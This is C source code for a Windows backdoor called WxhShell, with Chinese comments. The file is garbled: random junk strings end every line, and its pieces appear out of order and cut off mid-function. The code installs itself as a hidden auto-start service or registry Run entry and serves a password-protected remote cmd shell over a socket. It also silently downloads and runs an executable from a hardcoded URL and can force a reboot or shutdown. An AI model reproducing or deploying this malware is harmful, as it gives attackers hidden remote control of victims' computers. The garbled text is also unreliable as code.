  case 'd': { 8u!"#S#>a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s}pIk.4ot!  
    if(Boot(SHUTDOWN)) KFa_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;rYo.+  
    else { e[Abp~@M1  
    closesocket(wsh); Cuc$3l(%  
    ExitThread(0); g#]wLm#  
    } pH`44KAuM  
    break; QJ|ap4r  
    } (|wz7 AY2  
  // 获取shell BcD&sQ2F  
  case 's': { 7z~_/mAI  
    CmdShell(wsh); t'm;:J1  
    closesocket(wsh); _,</1~.  
    ExitThread(0); 0j C3fT!n  
    break; w1;hy"zPsj  
  } vky.^  
  // 退出 b*ef);  
  case 'x': { (MHAJ]Rx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <9> vO,n  
    CloseIt(wsh); |pa$*/!NT  
    break; 42L @w  
    } #Wu*3&a]yU  
  // 离开 @AYRiOodi  
  case 'q': { j5I`a 1j`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NAPX_B,6  
    closesocket(wsh); XR!us/U`a  
    WSACleanup(); ?bw4~  
    exit(1); .G o{1[  
    break; !z{-?o/  
        } xJ2*LM-  
  } <LRey%{q  
  } ,ZS6jZ  
e *j.  
  // 提示信息 f3|@|' ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  )J?{+3  
} >&!RWH9*q  
  } >3u ]OSb  
`<[6YH_  
  return; %6--}bY^  
} N N|u_  
qaim6a  
// shell模块句柄 G^"Vo x4  
int CmdShell(SOCKET sock) o->\vlbD  
{ pWu LfX  
STARTUPINFO si; ,7XtH>2s  
ZeroMemory(&si,sizeof(si)); >MJg ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^s.V;R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |y<),j6  
PROCESS_INFORMATION ProcessInfo; 6oSQQhge  
char cmdline[]="cmd"; m?HZ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4.RG4Jq  
  return 0; mJB2)^33a  
} NA,C Z  
CQ;]J=|<_  
// 自身启动模式 wW?,;B'74  
int StartFromService(void) 1}ZKc=Pfu  
{ ?OdJqw0,G  
typedef struct t:LcNlN|  
{ G;3~2^lB\  
  DWORD ExitStatus; 3?E8\^N\n  
  DWORD PebBaseAddress; ;@h0qRXW:h  
  DWORD AffinityMask; /J)l/oI  
  DWORD BasePriority; $(Ugtimdv  
  ULONG UniqueProcessId; 2k6 X,  
  ULONG InheritedFromUniqueProcessId; mW%?>Z1=>d  
}   PROCESS_BASIC_INFORMATION; .yENM[-bQ  
.k4W_9  
PROCNTQSIP NtQueryInformationProcess; N)% ;jh:T  
qW 1V85FG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U }Hwto`R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TO,rxf  
1xf=_F0`&  
  HANDLE             hProcess; EliTFxp  
  PROCESS_BASIC_INFORMATION pbi; ~](fFa{  
~8|t*@D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~tB;@e  
  if(NULL == hInst ) return 0; avp; *G }  
TST4Vy3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]<DNo&fw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TgU**JN)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n3MWs);5  
6{d6s#|%  
  if (!NtQueryInformationProcess) return 0;  t4Z  
6pE :A@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EPW7+Ve  
  if(!hProcess) return 0; (wRBd  
Wi n8LOC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 04!(okubyp  
6)\dBOz  
  CloseHandle(hProcess); AgF5-tz6x  
}W)=@t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iNCX:Y  
if(hProcess==NULL) return 0; A{o'z_zC  
2}}?'PwwT  
HMODULE hMod; V's:>;  
char procName[255];  0JRD  
unsigned long cbNeeded; q&'Lbxc>c  
AV&yoag1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "fQRk  
'UM!*fk7C  
  CloseHandle(hProcess); TPO1 GF  
FqA3  {  
if(strstr(procName,"services")) return 1; // 以服务启动 PM$Ee #62R  
t qOi x/  
  return 0; // 注册表启动 +V v+K(lh$  
} ")s!L"x  
fm1X1T.  
// 主模块 guN4-gGDr<  
int StartWxhshell(LPSTR lpCmdLine) +-068k(  
{ |pZo2F!.  
  SOCKET wsl; 8dT'xuch  
BOOL val=TRUE; 71B3a  
  int port=0; }F`beoMAkM  
  struct sockaddr_in door; pt:;9hA  
t\j!K2  
  if(wscfg.ws_autoins) Install(); eNySJf  
@%i>XAe#0  
port=atoi(lpCmdLine); <z#BsnjW{  
#G _/.h@  
if(port<=0) port=wscfg.ws_port; coQ[@vu  
g"t^r3  
  WSADATA data; 6i@ub%qq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .PVLWW  
.+#Lx;})  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rb_Z5T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l^ 4OC  
  door.sin_family = AF_INET; 4E"d/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L@|#Bbmx  
  door.sin_port = htons(port); ;cSGlE |  
m% bE-#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |paP<$  
closesocket(wsl); XK3]AYH  
return 1; P!\hnm)%4  
} 4e%8D`/=M  
:k!j"@r  
  if(listen(wsl,2) == INVALID_SOCKET) { `!c,y~r[  
closesocket(wsl); j8 H Oc(  
return 1; 'XfgBJF=  
} rnvQ<671W  
  Wxhshell(wsl); :4;S"p  
  WSACleanup(); Fe= "EDh  
N^$9;CKP=  
return 0; QP\yaPE  
L~MpY{!3  
} :::>ro*R  
O<`R~  
// 以NT服务方式启动  R<&FhT]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QFzFL-H~N  
{ D9^7m j?e  
DWORD   status = 0; ##~!M(c  
  DWORD   specificError = 0xfffffff; ]bfqcmh<  
+Jw{qQR/*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $9i9s4u^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lwsbm D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]C)|+`XE@  
  serviceStatus.dwWin32ExitCode     = 0; <|JU(B  
  serviceStatus.dwServiceSpecificExitCode = 0; #{>uC&jD  
  serviceStatus.dwCheckPoint       = 0; jaqV[*440U  
  serviceStatus.dwWaitHint       = 0; ;f(n.i  
6F ;Or  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7)PJ:4IqS  
  if (hServiceStatusHandle==0) return; <3Fz>}V32  
&|z|SY]DL  
status = GetLastError(); lM&UFEl-\  
  if (status!=NO_ERROR) T&4fBMBp,%  
{ P CsK()  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S>EDL  
    serviceStatus.dwCheckPoint       = 0; .D3`'K3t{[  
    serviceStatus.dwWaitHint       = 0; BK*UR+,  
    serviceStatus.dwWin32ExitCode     = status; AY@k-4  
    serviceStatus.dwServiceSpecificExitCode = specificError; \4@a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tj#b_ u z  
    return; w 06gY  
  } dgY5ccP  
7V/Zr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JilKZQmk  
  serviceStatus.dwCheckPoint       = 0; ]0YDb~UB  
  serviceStatus.dwWaitHint       = 0; :3gFHBFDj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (-'PD_|  
}  0/*X=5  
n531rkK-   
// 处理NT服务事件,比如:启动、停止 'F<Sf:?.p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Y(%oJS]D  
{ ]wR6bEm7  
switch(fdwControl) X$PS(_M  
{ bx]1 4}6  
case SERVICE_CONTROL_STOP: `{WCrw6)  
  serviceStatus.dwWin32ExitCode = 0; 5 Af?Yxv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ss+F9J  
  serviceStatus.dwCheckPoint   = 0; sHF%=Vu  
  serviceStatus.dwWaitHint     = 0; XC2Q*Z  
  { cY^Y!.,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =3pD:L  
  } }R\B.2#M_@  
  return; z(r" JNO@  
case SERVICE_CONTROL_PAUSE: /:^tc/5U ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DSTx#*  
  break; |:}L<9Sq  
case SERVICE_CONTROL_CONTINUE: 'oT|cmlc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7%X+O8  
  break; |})rt5|f1!  
case SERVICE_CONTROL_INTERROGATE: sgR 9d  
  break; KM EXT$p  
}; zcZ^s v>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wl?<c uw00  
} n/Or~@pHD  
hg!x_Eq|  
// 标准应用程序主函数 rC~_:uXtE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qP@L(_=g  
{ :E}6S  
x={kjym L  
// 获取操作系统版本 w:n(pLc<  
OsIsNt=GetOsVer(); n2H&t>N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vxF:vI# @  
K T%i,T  
  // 从命令行安装 |:{g?4Mi  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bc5YW-QD  
e3G7K8  
  // 下载执行文件 6_x}.bkIx=  
if(wscfg.ws_downexe) { }7otuO(pRo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T<! \B]  
  WinExec(wscfg.ws_filenam,SW_HIDE); "Wxo[I  
} 9T?~$XlX  
6oPUYn-  
if(!OsIsNt) { '3IkPy1Uz  
// 如果时win9x,隐藏进程并且设置为注册表启动 PV5-^Y"v  
HideProc(); z&\Il#'\m+  
StartWxhshell(lpCmdLine); ': 5Trx  
} [%HYh7ua<  
else IY-(- a8  
  if(StartFromService()) vQ?MM&6  
  // 以服务方式启动 y^5T/M  
  StartServiceCtrlDispatcher(DispatchTable); IS3e|o*]MP  
else \H},ou U  
  // 普通方式启动 }(8D!XgWa  
  StartWxhshell(lpCmdLine); @2)t#~Wc4h  
\65vfE~ O  
return 0; IptB.bYc  
} k8!hvJ)?  
7O;BS}Lv=  
s|fCR  
ez{P-qB  
=========================================== BYhmJC|  
0(Yh~{   
3t J=d'U  
3sd{AkD^  
B<vvsp\X  
\ SoYx5lf  
" ]<&B BQ  
H5F\-&cq  
#include <stdio.h> +H2m<  
#include <string.h> 7C,<iY  
#include <windows.h> lo IL{2  
#include <winsock2.h> ]{q- Y<{"  
#include <winsvc.h> IG2`9rR  
#include <urlmon.h> Y3 Pz00x  
A)O_es 2  
#pragma comment (lib, "Ws2_32.lib") ,)B~cic'u  
#pragma comment (lib, "urlmon.lib") 0xvMR&.H  
j3sz*:  
#define MAX_USER   100 // 最大客户端连接数 wsdB; 6%$  
#define BUF_SOCK   200 // sock buffer -52 @%uB  
#define KEY_BUFF   255 // 输入 buffer Mo:!jS~a(Z  
AaCnTRG  
#define REBOOT     0   // 重启 vu !j{%GO  
#define SHUTDOWN   1   // 关机 8.q13t !D  
b n<I#ZH2  
#define DEF_PORT   5000 // 监听端口 T_5*iwI  
\S|VkPv  
#define REG_LEN     16   // 注册表键长度  )zk?yY6  
#define SVC_LEN     80   // NT服务名长度 &"~,V6,q  
HlOAo:8'  
// 从dll定义API Q+y-*1   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EA%#/n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Wfv+]n9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^-c si   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uJ) \P  
f//j{P[  
// wxhshell配置信息 P@! Q1pr  
struct WSCFG { ^Yf)lV&[  
  int ws_port;         // 监听端口 >ji}j~cH  
  char ws_passstr[REG_LEN]; // 口令 #V(Hk )  
  int ws_autoins;       // 安装标记, 1=yes 0=no {3F}Slb  
  char ws_regname[REG_LEN]; // 注册表键名 g#9*bF  
  char ws_svcname[REG_LEN]; // 服务名 ya*q;D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Kb)>gzT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bcd0   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |aOnV,}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e5"-4udCn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |+$j( YuH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2jrX  
JUaKj@a|  
}; >FE QtD~F  
,pGCgOG#}c  
// default Wxhshell configuration ([4{n  
struct WSCFG wscfg={DEF_PORT, ~; O= 7  
    "xuhuanlingzhe", Is*0?9qU  
    1, S*DBY~pZy  
    "Wxhshell", {ZBb. $}RC  
    "Wxhshell", y!{/'{?P  
            "WxhShell Service", MIua\:xT  
    "Wrsky Windows CmdShell Service", yrK--C8  
    "Please Input Your Password: ", fi-&[llg  
  1, |Z^c #R  
  "http://www.wrsky.com/wxhshell.exe", V"Y Fu^L  
  "Wxhshell.exe" _ /2 8Cw  
    }; Q+%m+ /Zq  
/iJcy:J  
// 消息定义模块 #9W5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n9-q5X^e>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iw]B QjK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {$QF*j  
char *msg_ws_ext="\n\rExit."; scPq\Qd?O  
char *msg_ws_end="\n\rQuit."; fb=$<0Ocj  
char *msg_ws_boot="\n\rReboot..."; uK&wS#uY  
char *msg_ws_poff="\n\rShutdown..."; Y[8co<p  
char *msg_ws_down="\n\rSave to "; c402pj  
5\*wX.wp  
char *msg_ws_err="\n\rErr!"; G]3ML)l  
char *msg_ws_ok="\n\rOK!"; EA@$^e[  
TXvt0&-  
char ExeFile[MAX_PATH]; WUOPYYW<o  
int nUser = 0; }zfLm` vJ  
HANDLE handles[MAX_USER]; p~zTRnm  
int OsIsNt; "j@IRuH  
R7;rBEt8  
SERVICE_STATUS       serviceStatus; [{!j9E?(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <n2{+eO  
O |I:[S},  
// 函数声明 q ]R @:a/  
int Install(void); &+r ;>  
int Uninstall(void); VFaK>gQ  
int DownloadFile(char *sURL, SOCKET wsh); 0-MasI&b  
int Boot(int flag); Z$=$oJzB  
void HideProc(void); wbF1>{/"  
int GetOsVer(void); 2,QApW_Y  
int Wxhshell(SOCKET wsl); '  ^L  
void TalkWithClient(void *cs); @f01xh=8  
int CmdShell(SOCKET sock); ^VYZ %  
int StartFromService(void); Va[dZeoy  
int StartWxhshell(LPSTR lpCmdLine); :x5o3xE  
3/|{>7]1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -bb7Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &\D<n; 3  
D2*Q1n  
// 数据结构和表定义 y42T.oK8c  
SERVICE_TABLE_ENTRY DispatchTable[] = j tkPi)QR  
{ g<0%-p  
{wscfg.ws_svcname, NTServiceMain}, SE-, 1p  
{NULL, NULL} M #Ru I%  
}; +O:pZz  
+q?0A^C>  
// 自我安装 3:gO7Uv  
int Install(void) Gg,k  
{ BCDf9]X  
  char svExeFile[MAX_PATH]; 0+`*8G)  
  HKEY key; Jt^JE{m9%  
  strcpy(svExeFile,ExeFile); <y/AEY1  
:qKY@-t7H  
// 如果是win9x系统,修改注册表设为自启动 E6\~/=X=%  
if(!OsIsNt) { [ #fqyg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 48*pKbbM4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >-WO w  
  RegCloseKey(key); >bP7}T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wbKBwI5w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Eyk?"^  
  RegCloseKey(key); BJ2W }R  
  return 0; o:\j/+]  
    } d33Nx)No  
  } *G"#.YvE  
} siZ_JJW  
else { f3B8,>  
]*Ki7h |B  
// 如果是NT以上系统,安装为系统服务 "r3s'\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3sIM7WD?  
if (schSCManager!=0) &8L\FAY0%9  
{ &!fcLJd  
  SC_HANDLE schService = CreateService dp W%LXM_  
  ( eTHh  
  schSCManager, SytDo (_=W  
  wscfg.ws_svcname, |VF"Cjw?  
  wscfg.ws_svcdisp, 8ngf(#_{_n  
  SERVICE_ALL_ACCESS, @n'ss!h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1caod0gor  
  SERVICE_AUTO_START, iFchD\E*o  
  SERVICE_ERROR_NORMAL, ?2>v5p  
  svExeFile, Oj\mkg  
  NULL, 5ml}TSMu'  
  NULL, (19<8a9G  
  NULL, ="E V@H?U  
  NULL, RL8 wSK  
  NULL a$& 6a   
  ); mSeN M  
  if (schService!=0) e:occT  
  { Vtk|WV?>P+  
  CloseServiceHandle(schService); @b({QM|  
  CloseServiceHandle(schSCManager); S*:w\nXP~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .q}k  
  strcat(svExeFile,wscfg.ws_svcname); k]YGD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z*1K<w8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oPZ4}>uV  
  RegCloseKey(key); IQv>{h}  
  return 0; #C}(7{Vt  
    } ``Rb-.Fq,  
  } 11+_OC2-   
  CloseServiceHandle(schSCManager); T0jJp7O  
} &|] ^ u/  
} H4jqF~  
rNp#5[e  
return 1; *?Y6qalSy  
} 9B0"GEwrs  
&i RX-)^u  
// 自我卸载 ij5YV3  
int Uninstall(void) ]aL}&GlHt  
{ i*j+<R@  
  HKEY key; Z Z7U^#RT  
R0'EoX  
if(!OsIsNt) { }FVX5/.'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g.s oN qt=  
  RegDeleteValue(key,wscfg.ws_regname); &.B6P|N'  
  RegCloseKey(key); K(S/D(\ FL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # w6CL  
  RegDeleteValue(key,wscfg.ws_regname); "dTXT  
  RegCloseKey(key); fO nvC*  
  return 0; Ymom 0g+ f  
  } W9"I++~f  
} eH{ 9w8~  
} EVsZ:Ra^k  
else { gG>>ynn  
B?Skw{&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RkzBn  
if (schSCManager!=0) Y2n*T KXI,  
{ Q2Rj0E`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lH.2H  
  if (schService!=0) vKf=t&gqr  
  { d9"4m>ymS  
  if(DeleteService(schService)!=0) { +&@0;zSga  
  CloseServiceHandle(schService); |sz9l/,lG  
  CloseServiceHandle(schSCManager); @@jdF-Utj;  
  return 0; L8ke*O$  
  } KJ_R@,v\  
  CloseServiceHandle(schService); "Cb<~Dy  
  } \ 714Pyy  
  CloseServiceHandle(schSCManager); x#D=?/~/Kv  
} <h({+N  
} HV@:!zM  
tUQ)q  
return 1; "L]_NS T  
} b3+PC$z2h  
%L3]l  
// 从指定url下载文件 )Yml'?V"  
int DownloadFile(char *sURL, SOCKET wsh) uc_ X;M;  
{ q@:&^CS  
  HRESULT hr; _q 8m$4  
char seps[]= "/"; k&b>-QP6  
char *token; (&(f`c@I  
char *file; g5)VV"  
char myURL[MAX_PATH]; 8{C3ijR  
char myFILE[MAX_PATH]; &,zeBFmc  
FWg7 e3  
strcpy(myURL,sURL); ;Peyo1  
  token=strtok(myURL,seps); ArY'NE\Htt  
  while(token!=NULL) lK-I[i!  
  { s6B@:9  
    file=token; 4tI~d8?pk+  
  token=strtok(NULL,seps); \ (,2^T'$J  
  } amRtFrc|  
C7{wI`~  
GetCurrentDirectory(MAX_PATH,myFILE); uT1x\Rt|e  
strcat(myFILE, "\\"); @UKd0kxPN{  
strcat(myFILE, file); V;"'!dVX  
  send(wsh,myFILE,strlen(myFILE),0); KjadX&JD  
send(wsh,"...",3,0); z?PF9QL1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z(L>~+%  
  if(hr==S_OK) * XJSa  
return 0; ydt1ED0Q-  
else b{&@ Lm0Tn  
return 1; g=)@yZ3>v  
=["GnL*!0  
} !>Xx</iD1  
Wh,kJis<  
// 系统电源模块 WCH>9Z>cj  
int Boot(int flag) 4T:ZEvdzf  
{ M-NR!?9  
  HANDLE hToken; ?g'l/xuRe  
  TOKEN_PRIVILEGES tkp; { }z7N~  
WI%,m~  
  if(OsIsNt) { 1n^xVk-G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >_@J&vC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jps!,Mflc  
    tkp.PrivilegeCount = 1; <%5ny!]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W/ERqVZR]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m\(a{x  
if(flag==REBOOT) { DD1S]m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q8_d]V=X:  
  return 0; s SDBl~g  
} 'G&w[8mqY  
else { C-8@elZ1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fIu/*PFPVY  
  return 0; d/MMPge3  
} F J)la9  
  } 7j^,4;  
  else { [8ih-k  
if(flag==REBOOT) { Y9ru~&/o$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `W5f'RU  
  return 0; E11"uWk`  
} NOvN8.K%  
else { (uSfr]89'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +S$x}b'5q  
  return 0; @sP?@< C  
} MZ0 J/@(  
} #jQITS7  
_o;alt  
return 1; SJ<nAX  
} =oBV.BST u  
OmsNo0OA  
// win9x进程隐藏模块 7v{Dwg  
void HideProc(void) *t63c.S  
{ [j) :2  
$aEL>, X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b^0=X!bg  
  if ( hKernel != NULL ) Ay[6rUO  
  { Z\n nVM=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^5OR%N)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :AL nm0d  
    FreeLibrary(hKernel); yTv#T(of  
  } " 5=Gu1  
p~qdkA<  
return; n*uT  
} s$A|>TOY  
fnB[b[  
// 获取操作系统版本 QN":Qk(,q  
int GetOsVer(void) g/eE^o ~;  
{ NbH;@R)L  
  OSVERSIONINFO winfo; nPE{Gp) }  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pa+%H]vB  
  GetVersionEx(&winfo); u{J$]%C   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xtyOG  
  return 1; n&Bgpt~  
  else ?|kwYA$4o  
  return 0; fC&hi6  
} f]Xh7m(Gh  
rytves%;C  
// 客户端句柄模块 ]@0C1 r  
int Wxhshell(SOCKET wsl) =A{F&:+a]  
{ ',P$m&z  
  SOCKET wsh; ]De<'x}  
  struct sockaddr_in client; PKJw%.-  
  DWORD myID; \(C6|-:GY  
G0)}?5L1J  
  while(nUser<MAX_USER) ~7ZWtg;B  
{ $i1$nc8  
  int nSize=sizeof(client); "Doz~R\\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^M0  
  if(wsh==INVALID_SOCKET) return 1; \,D>zF  
1 8%+ Hy=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Z.Fyte  
if(handles[nUser]==0) >P@g].Q-  
  closesocket(wsh); FF#T"y0Y  
else HAwdu1$8  
  nUser++; 6+!$x?5|NP  
  } _0}u0fk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,+~8R"  
/*P) C'_M  
  return 0; %tB7 &%ut  
} ]n}aePl}oU  
V/`vX;%  
// 关闭 socket F%P"T%|  
void CloseIt(SOCKET wsh) zG{P5@:.R  
{ (@m/j2z  
closesocket(wsh); # ~Doz7~  
nUser--; rU+3~|m  
ExitThread(0); `J] e.K  
} SSxp!E'  
.do8\  
// 客户端请求句柄 ulE5lG0c  
void TalkWithClient(void *cs) oR7[[H.4  
{ kM J}sS  
/yHjd s  
  SOCKET wsh=(SOCKET)cs; eSQkW  
  char pwd[SVC_LEN]; ]~2iducB,  
  char cmd[KEY_BUFF]; ^"<x4e9+j  
char chr[1]; eAmI~oku  
int i,j; {0~\T[qm  
aq)g&.dw?  
  while (nUser < MAX_USER) { z%S$~^=b  
Q3Pu<j}Y  
if(wscfg.ws_passstr) { ~m_{&,CA.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?7}ybw3t]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <8(=Lv`)q  
  //ZeroMemory(pwd,KEY_BUFF); hr;^.a^  
      i=0; @Ddz|4vEi  
  while(i<SVC_LEN) { M6mgJonN|  
L&c & <+0T  
  // 设置超时 d(|q&b:  
  fd_set FdRead; &Ts!#OcB,  
  struct timeval TimeOut; 3_<l`6^Ns/  
  FD_ZERO(&FdRead); ,A'| Z  
  FD_SET(wsh,&FdRead); Q7rBc wm5  
  TimeOut.tv_sec=8; MA,*$BgZ  
  TimeOut.tv_usec=0; Vbt!, 2_)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .u>[m.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HdN5zl,q  
1~ W@[D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aX`uF<c9  
  pwd=chr[0]; c ef[T(>  
  if(chr[0]==0xd || chr[0]==0xa) { y{/7z}d  
  pwd=0; t5%cpkgh4  
  break; jB8Q% {%  
  } ]f#s`.A~  
  i++; x(._?5  
    } w%.hALN5-C  
kN.;;HFq#  
  // 如果是非法用户,关闭 socket *#'j0;2F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "Yh;3tI4*  
} ]o8]b7-  
0W(mx-[H/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M2Jf-2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n9xP8<w8  
=nHKTB>  
while(1) { [02rs@c>  
<a]i"s  
  ZeroMemory(cmd,KEY_BUFF); tsAV46S  
\rF S^#  
      // 自动支持客户端 telnet标准   :ZM9lBYh  
  j=0; .26mB Xr  
  while(j<KEY_BUFF) { sSh{.XuB+3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }:m/@LKB  
  cmd[j]=chr[0]; QQBh)5F  
  if(chr[0]==0xa || chr[0]==0xd) { 1ZI1+TDH  
  cmd[j]=0; B W<Dmn  
  break; q2*A'C  
  } m,lZy#02s3  
  j++; iX$G($[l(  
    } w}gmVJ#p  
P9/ (f$=  
  // 下载文件 Z^_qXerjP  
  if(strstr(cmd,"http://")) { xvV";o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ysz =Xw  
  if(DownloadFile(cmd,wsh)) mux/\TII  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .\ ;'>qy  
  else cD0rU8x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H)Btm  
  } /K#k_k  
  else { & Q3Fgj  
hq 3n&/  
